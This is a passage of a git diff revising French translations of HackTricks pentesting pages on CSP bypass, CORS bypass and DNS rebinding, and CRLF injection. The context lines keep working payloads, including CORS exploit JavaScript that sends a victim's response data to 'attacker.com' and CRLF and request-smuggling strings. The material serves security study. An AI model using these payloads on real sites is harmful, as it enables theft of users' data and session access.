ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -23,7 +23,7 @@ Tout contenu provenant de sources externes est également bloqué, y compris les ### Via Text & Images -Il est observé que les navigateurs modernes convertissent les images et les textes en HTML pour améliorer leur affichage (par exemple, en définissant des arrière-plans, en centrant, etc.). Par conséquent, si une image ou un fichier texte, tel que `favicon.ico` ou `robots.txt`, est ouvert via un `iframe`, il est rendu en HTML. Notamment, ces pages manquent souvent d'en-têtes CSP et peuvent ne pas inclure X-Frame-Options, permettant l'exécution de JavaScript arbitraire à partir d'elles: +Il est observé que les navigateurs modernes convertissent les images et les textes en HTML pour améliorer leur affichage (par exemple, en définissant des arrière-plans, en les centrant, etc.). Par conséquent, si une image ou un fichier texte, tel que `favicon.ico` ou `robots.txt`, est ouvert via un `iframe`, il est rendu en HTML. Notamment, ces pages manquent souvent d'en-têtes CSP et peuvent ne pas inclure X-Frame-Options, permettant l'exécution de JavaScript arbitraire à partir d'elles : ```javascript frame=document.createElement("iframe"); frame.src="/css/bootstrap.min.css"; @@ -34,7 +34,7 @@ window.frames[0].document.head.appendChild(script); ``` ### Via Erreurs -De même, les réponses d'erreurs, telles que les fichiers texte ou les images, arrivent généralement sans en-têtes CSP et peuvent omettre X-Frame-Options. Les erreurs peuvent être induites à se charger dans un iframe, permettant les actions suivantes : +De même, les réponses d'erreur, telles que les fichiers texte ou les images, viennent généralement sans en-têtes CSP et peuvent omettre X-Frame-Options. Les erreurs peuvent être induites à se charger dans un iframe, permettant les actions suivantes : ```javascript // Inducing an nginx error frame=document.createElement("iframe"); @@ -74,7 +74,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md index 19b7e1af9..35ea5196e 100644 --- a/pentesting-web/cors-bypass.md +++ b/pentesting-web/cors-bypass.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -41,7 +41,7 @@ Cet en-tête est **émis par un serveur** en réponse à une requête de ressour ### En-tête `Access-Control-Allow-Credentials` -Par **défaut**, les requêtes entre domaines sont effectuées sans informations d'identification telles que les cookies ou l'en-tête d'autorisation. Cependant, un serveur entre domaines peut autoriser la lecture de la réponse lorsque des informations d'identification sont envoyées en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**. +Par **défaut**, les requêtes entre domaines sont effectuées sans informations d'identification telles que les cookies ou l'en-tête Authorization. Cependant, un serveur entre domaines peut autoriser la lecture de la réponse lorsque des informations d'identification sont envoyées en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**. Si défini sur `true`, le navigateur transmettra les informations d'identification (cookies, en-têtes d'autorisation ou certificats client TLS). ```javascript @@ -70,17 +70,17 @@ xhr.setRequestHeader('Content-Type', 'application/xml'); xhr.onreadystatechange = handler; xhr.send('Arun'); ``` -### Requête de pré-vol CSRF +### Requête de pré-vérification CSRF -### Comprendre les requêtes de pré-vol dans la communication entre domaines +### Comprendre les requêtes de pré-vérification dans la communication inter-domaines -Lors de l'initiation d'une requête entre domaines dans des conditions spécifiques, telles que l'utilisation d'une **méthode HTTP non standard** (autre que HEAD, GET, POST), l'introduction de nouveaux **en-têtes**, ou l'utilisation d'une valeur spéciale d'en-tête **Content-Type**, une requête de pré-vol peut être nécessaire. Cette requête préliminaire, utilisant la méthode **`OPTIONS`**, sert à informer le serveur des intentions de la future requête entre origines croisées, y compris les méthodes HTTP et les en-têtes qu'elle compte utiliser. +Lors de l'initiation d'une requête inter-domaines dans des conditions spécifiques, telles que l'utilisation d'une **méthode HTTP non standard** (autre que HEAD, GET, POST), l'introduction de nouveaux **en-têtes**, ou l'utilisation d'une valeur spéciale d'en-tête **Content-Type**, une requête de pré-vérification peut être nécessaire. Cette requête préliminaire, utilisant la méthode **`OPTIONS`**, sert à informer le serveur des intentions de la future requête inter-origines, y compris les méthodes HTTP et les en-têtes qu'elle compte utiliser. -Le protocole **Cross-Origin Resource Sharing (CORS)** impose cette vérification de pré-vol pour déterminer la faisabilité de l'opération entre origines croisées demandée en vérifiant les méthodes autorisées, les en-têtes, et la fiabilité de l'origine. Pour une compréhension détaillée des conditions qui contournent le besoin d'une requête de pré-vol, consultez le guide complet fourni par [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests). +Le protocole **Cross-Origin Resource Sharing (CORS)** impose cette vérification préalable pour déterminer la faisabilité de l'opération inter-origines demandée en vérifiant les méthodes autorisées, les en-têtes, et la fiabilité de l'origine. Pour une compréhension détaillée des conditions qui contournent le besoin d'une requête de pré-vérification, consultez le guide complet fourni par [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests). -Il est crucial de noter que **l'absence d'une requête de pré-vol n'élimine pas le besoin pour la réponse de contenir des en-têtes d'autorisation**. Sans ces en-têtes, le navigateur est incapable de traiter la réponse de la requête entre origines croisées. +Il est crucial de noter que **l'absence d'une requête de pré-vérification n'élimine pas le besoin pour la réponse de contenir des en-têtes d'autorisation**. Sans ces en-têtes, le navigateur est incapable de traiter la réponse de la requête inter-origines. -Considérez l'illustration suivante d'une requête de pré-vol visant à utiliser la méthode `PUT` avec un en-tête personnalisé nommé `Special-Request-Header`: +Considérez l'illustration suivante d'une requête de pré-vérification visant à utiliser la méthode `PUT` avec un en-tête personnalisé nommé `Special-Request-Header`: ``` OPTIONS /info HTTP/1.1 Host: example2.com @@ -99,7 +99,7 @@ Access-Control-Allow-Headers: Authorization Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240 ``` -- **`Access-Control-Allow-Headers`**: Ce header spécifie quels en-têtes peuvent être utilisés lors de la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes du client. +- **`Access-Control-Allow-Headers`**: Ce header spécifie les en-têtes qui peuvent être utilisés lors de la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes du client. - **`Access-Control-Expose-Headers`**: À travers ce header, le serveur informe le client des en-têtes qui peuvent être exposés en plus des en-têtes de réponse simples. - **`Access-Control-Max-Age`**: Ce header indique pendant combien de temps les résultats d'une requête pré-vol peuvent être mis en cache. Le serveur définit le temps maximum, en secondes, pendant lequel les informations renvoyées par une requête pré-vol peuvent être réutilisées. - **`Access-Control-Request-Headers`**: Utilisé dans les requêtes pré-vol, ce header est défini par le client pour informer le serveur des en-têtes HTTP que le client souhaite utiliser dans la requête réelle. @@ -108,11 +108,11 @@ Access-Control-Max-Age: 240 Notez qu'en général (selon le type de contenu et les en-têtes définis) dans une requête **GET/POST, aucune requête pré-vol n'est envoyée** (la requête est envoyée **directement**), mais si vous souhaitez accéder aux **en-têtes/corps de la réponse**, elle doit contenir un en-tête _Access-Control-Allow-Origin_ le permettant.\ -**Par conséquent, CORS ne protège pas contre les CSRF (mais peut être utile).** +**Par conséquent, CORS ne protège pas contre les attaques CSRF (mais peut être utile).** ### **Requête pré-vol pour les demandes du réseau local** -1. **`Access-Control-Request-Local-Network`**: Ce header est inclus dans la requête du client pour indiquer que la demande est destinée à une ressource du réseau local. Il sert de marqueur pour informer le serveur que la demande provient du réseau local. +1. **`Access-Control-Request-Local-Network`**: Ce header est inclus dans la requête du client pour indiquer que la demande est destinée à une ressource du réseau local. Il sert de marqueur pour informer le serveur que la requête provient du réseau local. 2. **`Access-Control-Allow-Local-Network`**: En réponse, les serveurs utilisent ce header pour communiquer que la ressource demandée est autorisée à être partagée avec des entités en dehors du réseau local. Il agit comme un feu vert pour le partage de ressources à travers différentes frontières réseau, assurant un accès contrôlé tout en maintenant les protocoles de sécurité. @@ -137,11 +137,11 @@ Il est également possible de **contourner les exigences du réseau local** si v ## Configurations mal sécurisées exploitables -Il a été observé que le paramétrage de `Access-Control-Allow-Credentials` à **`true`** est une condition préalable pour la plupart des **attaques réelles**. Ce paramètre permet au navigateur d'envoyer des informations d'identification et de lire la réponse, améliorant ainsi l'efficacité de l'attaque. Sans cela, l'avantage de faire émettre une requête par un navigateur plutôt que de le faire soi-même diminue, car l'exploitation des cookies d'un utilisateur devient irréalisable. +Il a été observé que le paramétrage de `Access-Control-Allow-Credentials` sur **`true`** est une condition préalable pour la plupart des **attaques réelles**. Ce paramètre permet au navigateur d'envoyer des informations d'identification et de lire la réponse, améliorant ainsi l'efficacité de l'attaque. Sans cela, l'avantage de faire émettre une requête par un navigateur plutôt que de le faire soi-même diminue, car l'exploitation des cookies d'un utilisateur devient irréalisable. ### Exception : Exploitation de la localisation réseau comme authentification -Une exception existe lorsque la localisation réseau de la victime agit comme une forme d'authentification. Cela permet à un navigateur de la victime d'être utilisé comme proxy, contournant l'authentification basée sur l'IP pour accéder aux applications intranet. Cette méthode présente des similitudes d'impact avec le rebinding DNS mais est plus simple à exploiter. +Une exception existe lorsque la localisation réseau de la victime agit comme une forme d'authentification. Cela permet à l'ordinateur de la victime d'être utilisé comme proxy, contournant l'authentification basée sur l'IP pour accéder aux applications intranet. Cette méthode présente des similitudes d'impact avec le rebinding DNS mais est plus simple à exploiter. ### Réflexion de `Origin` dans `Access-Control-Allow-Origin` @@ -158,7 +158,7 @@ location='/log?key='+this.responseText; }; ``` -### Exploitation de l'origine `null` +### Exploiter l'origine `null` L'origine `null`, spécifiée pour des situations telles que les redirections ou les fichiers HTML locaux, occupe une position unique. Certaines applications ajoutent cette origine à leur liste blanche pour faciliter le développement local, permettant involontairement à n'importe quel site web de simuler une origine `null` via un iframe sandboxé, contournant ainsi les restrictions CORS. ```html @@ -188,7 +188,7 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText); ``` ### Techniques de Contournement des Expressions Régulières -Lorsqu'on rencontre une liste blanche de domaines, il est crucial de tester les opportunités de contournement, telles que l'ajout du domaine de l'attaquant à un domaine autorisé ou l'exploitation des vulnérabilités de prise en charge de sous-domaines. De plus, les expressions régulières utilisées pour la validation de domaine peuvent négliger les subtilités des conventions de nommage de domaine, offrant ainsi d'autres opportunités de contournement. +Lorsqu'on rencontre une liste blanche de domaine, il est crucial de tester les opportunités de contournement, telles que l'ajout du domaine de l'attaquant à un domaine autorisé ou l'exploitation des vulnérabilités de prise en charge de sous-domaine. De plus, les expressions régulières utilisées pour la validation de domaine peuvent négliger les subtilités des conventions de nommage de domaine, offrant ainsi d'autres opportunités de contournement. ### Contournements Avancés des Expressions Régulières @@ -230,11 +230,11 @@ HTTP/1.1 200 OK Access-Control-Allow-Origin: z Content-Type: text/html; charset=UTF-7 ``` -Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait entraîner la sauvegarde de la réponse dans un cache côté serveur et sa diffusion involontaire à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes. +Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait amener un cache côté serveur à enregistrer la réponse et à la servir involontairement à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes. Pour plus d'informations sur les vulnérabilités XSS stockées, consultez [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored). -**Remarque** : L'exploitation des vulnérabilités d'injection d'en-tête HTTP, en particulier via l'empoisonnement du cache côté serveur, souligne l'importance cruciale de valider et de désinfecter toutes les entrées fournies par l'utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut une validation des entrées pour prévenir de telles vulnérabilités. +**Remarque** : L'exploitation des vulnérabilités d'injection d'en-tête HTTP, en particulier via l'empoisonnement du cache côté serveur, souligne l'importance critique de valider et de désinfecter toutes les entrées fournies par l'utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut une validation des entrées pour prévenir de telles vulnérabilités. ### **Empoisonnement du cache côté client** @@ -243,9 +243,9 @@ Pour plus d'informations sur les vulnérabilités XSS stockées, consultez [Port Dans ce scénario, une instance d'une page web reflétant le contenu d'un en-tête HTTP personnalisé sans codage approprié est observée. Plus précisément, la page web reflète le contenu inclus dans un en-tête `X-User-id`, qui pourrait inclure du JavaScript malveillant, comme le montre l'exemple où l'en-tête contient une balise d'image SVG conçue pour exécuter du code JavaScript lors du chargement. -Les politiques de partage des ressources entre origines (CORS) permettent l'envoi d'en-têtes personnalisés. Cependant, sans que la réponse ne soit directement rendue par le navigateur en raison des restrictions CORS, l'utilité d'une telle injection pourrait sembler limitée. Le point critique survient lors de la prise en compte du comportement du cache du navigateur. Si l'en-tête `Vary: Origin` n'est pas spécifié, il devient possible que la réponse malveillante soit mise en cache par le navigateur. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l'URL, contournant ainsi le besoin de rendu direct lors de la requête initiale. Ce mécanisme renforce la fiabilité de l'attaque en exploitant la mise en cache côté client. +Les politiques de partage des ressources entre origines (CORS) permettent l'envoi d'en-têtes personnalisés. Cependant, sans que la réponse soit directement rendue par le navigateur en raison des restrictions CORS, l'utilité d'une telle injection pourrait sembler limitée. Le point critique survient lors de la prise en compte du comportement du cache du navigateur. Si l'en-tête `Vary: Origin` n'est pas spécifié, il devient possible que la réponse malveillante soit mise en cache par le navigateur. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l'URL, contournant ainsi le besoin de rendu direct lors de la requête initiale. Ce mécanisme renforce la fiabilité de l'attaque en exploitant la mise en cache côté client. -Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l'environnement d'une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Après l'achèvement réussi de la requête, il tente de naviguer vers l'URL cible, déclenchant potentiellement l'exécution du script injecté si la réponse a été mise en cache sans une gestion appropriée de l'en-tête `Vary: Origin`. +Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l'environnement d'une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Après l'achèvement réussi de la requête, il tente de naviguer vers l URL cible, déclenchant potentiellement l'exécution du script injecté si la réponse a été mise en cache sans une gestion appropriée de l'en-tête `Vary: Origin`. Voici un résumé du JavaScript utilisé pour exécuter cette attaque : ```html @@ -263,7 +263,7 @@ req.send(); ### XSSI (Inclusion de script inter-sites) / JSONP -XSSI, également connu sous le nom d'Inclusion de script inter-sites, est un type de vulnérabilité qui profite du fait que la Politique de même origine (SOP) ne s'applique pas lors de l'inclusion de ressources à l'aide de la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus à partir de différents domaines. Cette vulnérabilité permet à un attaquant d'accéder et de lire tout contenu inclus à l'aide de la balise script. +XSSI, également connu sous le nom d'Inclusion de script inter-sites, est un type de vulnérabilité qui profite du fait que la Politique de même origine (SOP) ne s'applique pas lors de l'inclusion de ressources en utilisant la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus à partir de différents domaines. Cette vulnérabilité permet à un attaquant d'accéder et de lire tout contenu inclus en utilisant la balise script. Cette vulnérabilité devient particulièrement significative lorsqu'il s'agit de JavaScript dynamique ou de JSONP (JSON avec rembourrage), surtout lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Lors de la demande d'une ressource à partir d'un hôte différent, les cookies sont inclus, les rendant accessibles à l'attaquant. @@ -281,7 +281,7 @@ Une façon de contourner la restriction `Access-Control-Allow-Origin` est de dem 1. [**CORS-escape**](https://github.com/shalvah/cors-escape) : Cet outil fournit un proxy qui transmet votre requête avec ses en-têtes, tout en falsifiant l'en-tête Origin pour correspondre au domaine demandé. Cela contourne efficacement la politique CORS. Voici un exemple d'utilisation avec XMLHttpRequest : -2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) : Cet outil offre une approche alternative pour la mise en proxy des requêtes. Au lieu de transmettre votre requête telle quelle, le serveur effectue sa propre requête avec les paramètres spécifiés. +2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) : Cet outil propose une approche alternative pour la mise en proxy des requêtes. Au lieu de transmettre votre requête telle quelle, le serveur effectue sa propre requête avec les paramètres spécifiés. ### Contournement Iframe + Popup @@ -297,7 +297,7 @@ La réattribution DNS via TTL est une technique utilisée pour contourner certai 1. L'attaquant crée une page web et fait accéder la victime à celle-ci. 2. L'attaquant modifie ensuite le DNS (IP) de son propre domaine pour pointer vers la page web de la victime. -3. Le navigateur de la victime met en cache la réponse DNS, qui peut comporter une valeur TTL (Time to Live) indiquant pendant combien de temps l'enregistrement DNS doit être considéré comme valide. +3. Le navigateur de la victime met en cache la réponse DNS, qui peut avoir une valeur TTL (Time to Live) indiquant pendant combien de temps l'enregistrement DNS doit être considéré comme valide. 4. Lorsque le TTL expire, le navigateur de la victime effectue une nouvelle requête DNS, permettant à l'attaquant d'exécuter du code JavaScript sur la page de la victime. 5. En maintenant le contrôle sur l'IP de la victime, l'attaquant peut recueillir des informations de la victime sans envoyer de cookies au serveur de la victime. @@ -317,7 +317,7 @@ La réattribution DNS via l'inondation du cache DNS est une autre technique util 1. Initialement, lorsque la victime effectue une requête DNS, elle reçoit l'adresse IP de l'attaquant. 2. Pour contourner la défense de mise en cache, l'attaquant exploite un service worker. Le service worker inonde le cache DNS, ce qui supprime efficacement le nom de serveur de l'attaquant mis en cache. -3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à localhost. +3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à l'localhost. En inondant le cache DNS avec le service worker, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une deuxième requête, cette fois-ci résolvant vers l'adresse IP souhaitée par l'attaquant. @@ -335,7 +335,7 @@ Une autre façon de contourner la défense de mise en cache est d'utiliser plusi Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix de l'adresse IP par le navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime. {% hint style="warning" %} -Notez que pour accéder à localhost, vous devriez essayer de réattribuer **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\ +Notez que pour accéder à l'localhost, vous devriez essayer de réattribuer **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\ Des fournisseurs tels que godaddy ou cloudflare ne m'ont pas permis d'utiliser l'IP 0.0.0.0, mais AWS route53 m'a permis de créer un enregistrement A avec 2 IPs, l'une d'entre elles étant "0.0.0.0" @@ -349,11 +349,11 @@ Pour plus d'informations, vous pouvez consulter [https://unit42.paloaltonetworks * Si les **IP internes ne sont pas autorisées**, répondez avec un **CNAME** à **localhost** (fonctionne sur Linux et Mac) * Si les **IP internes ne sont pas autorisées** en tant que réponses DNS, vous pouvez répondre avec des **CNAMEs vers des services internes** tels que www.corporate.internal. -### Armes de réattribution DNS +### Réattribution DNS Weaponized Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la présentation [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ). -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [réattribution DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour réattribuer l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter des logiciels vulnérables sur la machine cible. +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [réattribution DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour réattribuer l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible. ### Protection réelle contre la réattribution DNS @@ -364,7 +364,7 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré ## **Outils** -**Fouillez les erreurs de configuration possibles dans les politiques CORS** +**Fouillez les mauvaises configurations possibles dans les politiques CORS** * [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner) * [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer) diff --git a/pentesting-web/crlf-0d-0a.md b/pentesting-web/crlf-0d-0a.md index f2c19510f..7e61f185c 100644 --- a/pentesting-web/crlf-0d-0a.md +++ b/pentesting-web/crlf-0d-0a.md @@ -2,15 +2,15 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -36,7 +36,7 @@ Considérez un fichier journal dans un panneau d'administration qui suit le form ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` -Un attaquant peut exploiter une injection CRLF pour manipuler ce journal. En injectant des caractères CRLF dans la requête HTTP, l'attaquant peut modifier le flux de sortie et fabriquer des entrées de journal. Par exemple, une séquence injectée pourrait transformer l'entrée du journal en: +Un attaquant peut exploiter une injection CRLF pour manipuler ce journal. En injectant des caractères CRLF dans la requête HTTP, l'attaquant peut modifier le flux de sortie et fabriquer des entrées de journal. Par exemple, une séquence injectée pourrait transformer l'entrée de journal en : ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` @@ -126,23 +126,23 @@ array( # Put a netcat listener on port 9090 $client->__soapCall("test", []); ``` -### Injection d'en-tête pour le Smuggling de Requête +### Injection d'en-tête pour le Smuggling de Requêtes Pour plus d'informations sur cette technique et les problèmes potentiels, [**consultez la source originale**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). -Vous pouvez injecter des en-têtes essentiels pour vous assurer que le **serveur garde la connexion ouverte** après avoir répondu à la requête initiale: +Vous pouvez injecter des en-têtes essentiels pour vous assurer que le **serveur garde la connexion ouverte** après avoir répondu à la requête initiale : ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` -Après, une deuxième requête peut être spécifiée. Ce scénario implique généralement [HTTP request smuggling](http-request-smuggling/), une technique où des en-têtes supplémentaires ou des éléments de corps ajoutés par le serveur post-injection peuvent entraîner divers exploits de sécurité. +Après, une deuxième requête peut être spécifiée. Ce scénario implique généralement [la contrebande de requête HTTP](http-request-smuggling/), une technique où des en-têtes supplémentaires ou des éléments de corps ajoutés par le serveur post-injection peuvent entraîner divers exploits de sécurité. **Exploitation :** 1. **Injection de Préfixe Malveillant** : Cette méthode implique de polluer la prochaine requête de l'utilisateur ou un cache web en spécifiant un préfixe malveillant. Un exemple de ceci est : -`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%a HTTP/1.1` +`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` -2. **Création d'un Préfixe pour l'Empoisonnement de la File de Réponse** : Cette approche consiste à créer un préfixe qui, combiné à des données inutiles, forme une deuxième requête complète. Cela peut déclencher un empoisonnement de la file de réponse. Un exemple est : +2. **Création d'un Préfixe pour l'Empoisonnement de la File de Réponses** : Cette approche consiste à créer un préfixe qui, combiné à des éléments résiduels, forme une deuxième requête complète. Cela peut déclencher un empoisonnement de la file de réponses. Un exemple est : `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` @@ -154,7 +154,7 @@ Memcache est un **magasin clé-valeur qui utilise un protocole en texte clair**. [11211-memcache](../network-services-pentesting/11211-memcache/) {% endcontent-ref %} -**Pour plus d'informations, consultez le** [**article original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) +**Pour plus d'informations, lisez le** [**rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) Si une plateforme prend des **données d'une requête HTTP et les utilise sans les désinfecter** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait abuser de ce comportement pour **injecter de nouvelles commandes memcache**. @@ -162,19 +162,19 @@ Par exemple, dans la vulnérabilité découverte initialement, des clés de cach
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
-De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer les adresses IP et les ports des attaquants aux utilisateurs dont l'adresse e-mail n'était pas connue de l'attaquant : +De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer les IP et ports des attaquants aux utilisateurs dont l'email n'était pas connu de l'attaquant :
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
